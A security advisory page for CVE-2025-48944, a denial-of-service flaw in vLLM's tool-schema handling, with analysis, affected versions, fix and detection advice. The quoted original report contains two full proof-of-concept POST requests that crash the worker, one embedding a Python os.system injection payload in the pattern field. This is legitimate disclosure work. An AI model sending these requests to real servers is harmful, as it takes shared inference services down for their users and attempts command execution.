CVE-2025-48944: vLLM Tool Schema allows DoS via Malformed pattern and type Fields
vLLM 0.8.0 up to 0.9.0 does not validate the `type` and `pattern` fields of tool schemas sent to `/v1/chat/completions`. One request with a bad value crashes the inference worker, and it stays down until restarted. Fixed in vLLM 0.9.0.
Published May 28, 2025 · Updated Jul 17, 2026 · Analysis Nov 1, 2026
What an attacker can do
When a request uses tools, vLLM turns the tool's parameter schema into a grammar for guided output. It does not check the values first. A type other than string, number, object, boolean, array or null makes the native converter raise Unsupported type in json_schema_converter.cc. A pattern with an unclosed {, [ or (, or an empty {} or [], reaches the C++ regex compiler and fails in regex_converter.cc, for example with The parenthesis is not closed.
The reporter's proof of concept is a single POST with a property of "type": "something". The same report also put a Jinja-style expression in pattern. They could not get code execution, only a crash.
The attacker needs network access to the API and low privileges, per the CVSS vector, so any user or client that can call the chat endpoint is enough. After the crash, every user of that inference engine gets 500 errors until someone restarts the worker. Confidentiality and integrity are not affected. Shared or multi-tenant model servers are hit hardest.
Who is affected
Affected: vLLM from 0.8.0 up to but not including 0.9.0. Check the version:
pip show vllmThe flaw is reachable through the OpenAI-compatible /v1/chat/completions endpoint whenever a request includes tools with a tool choice. Earlier versions than 0.8.0 are not listed.
vllm
- Ecosystem
- PyPI
- Affected
- >= 0.8.0, < 0.9.0
- Fixed in
- 0.9.0
- Check
pip show vllm
How to fix it
Upgrade to vLLM 0.9.0:
pip install --upgrade vllm==0.9.0The fix is in vLLM pull request 17623. The advisory names no workaround. If you cannot upgrade, put the API behind authentication and a gateway that rejects tool schemas with unknown type values, and run the server under a supervisor that restarts a crashed worker.
How to tell if you were hit
Look in the vLLM logs for RuntimeError lines from the native converters, such as Unsupported type from json_schema_converter.cc:637, or Regex parsing error at position from regex_converter.cc:73. Then look for a burst of 500 responses on /v1/chat/completions and an engine process that exited or restarted. Match the timestamps to the request that carried the odd tools schema. Beam is not involved in this server-side flaw.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted.
Details
The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error:
RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing"
The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.
For example, the following inputs will crash the worker:
Unclosed {, [, or (
Closed:{} and []
Here are some of runtime errors on the crash depending on what gets injected:
RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed. RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count. RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.
PoC
Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for: POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 579 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive
{ "model": "mistral-nemo-instruct", "messages": [{ "role": "user", "content": "crash via type" }], "tools": [ { "type": "function", "function": { "name": "crash01", "parameters": { "type": "object", "properties": { "a": { "type": "something" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash01", "arguments": { "a": "test" } } }, "stream": false, "max_tokens": 1 }
Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.
POST /v1/chat/completions HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Content-Length: 718 Origin: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive
{ "model": "mistral-nemo-instruct", "messages": [ { "role": "user", "content": "Crash via Pattern" } ], "tools": [ { "type": "function", "function": { "name": "crash02", "parameters": { "type": "object", "properties": { "a": { "type": "string", "pattern": "{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}" } } } } } ], "tool_choice": { "type": "function", "function": { "name": "crash02" } }, "stream": false, "max_tokens": 32, "temperature": 0.2, "top_p": 1, "n": 1 }
Impact
Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests.
Fix
- https://github.com/vllm-project/vllm/pull/17623
Credited to russellb, Jason-CKY.
Questions
- Is vLLM 0.8.5 affected by CVE-2025-48944?
Yes. Every release from 0.8.0 up to but not including 0.9.0 is in the affected range. Upgrade to 0.9.0.
- Can this lead to remote code execution?
No. The reporter tried a code-execution payload in
patternand said they could not get RCE. The proven impact is a worker crash, which the CVSS vector rates as high availability impact only.- Does the attacker need to be logged in?
The CVSS vector lists low privileges required. In practice, any client that can send a chat completion request with tools to your server can trigger it.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More vLLM vulnerabilities
All vLLM entriesCVE-2026-115911
vLLM: DoS via unbounded chat_template Jinja2 rendering exhausts the renderer thread pool
medium6.5Oct 28, 2026CVE-2026-115912
vLLM: Public multimodal SHM handle forgery reaches worker-side `pickle.loads()` with insecure serialization disabled
high7.5Oct 28, 2026CVE-2026-115913
vLLM: Phi-4 multimodal audio encoder materializes and retains full attention matrices: a single max-length audio OOM-crashes the vLLM engine
medium6.5Oct 28, 2026CVE-2026-115914
vLLM DeepSeek-OCR image processing vulnerable to denial of service
medium6.5Oct 28, 2026CVE-2026-115915
vLLM: Untrusted EPS inputs can trigger denial of service or Ghostscript RCE
high8.1Oct 28, 2026CVE-2026-115916
vLLM: Out-of-vocabulary prompt token id passes input validation and triggers a CUDA device-side assert (engine crash / DoS)
medium6.5Oct 28, 2026
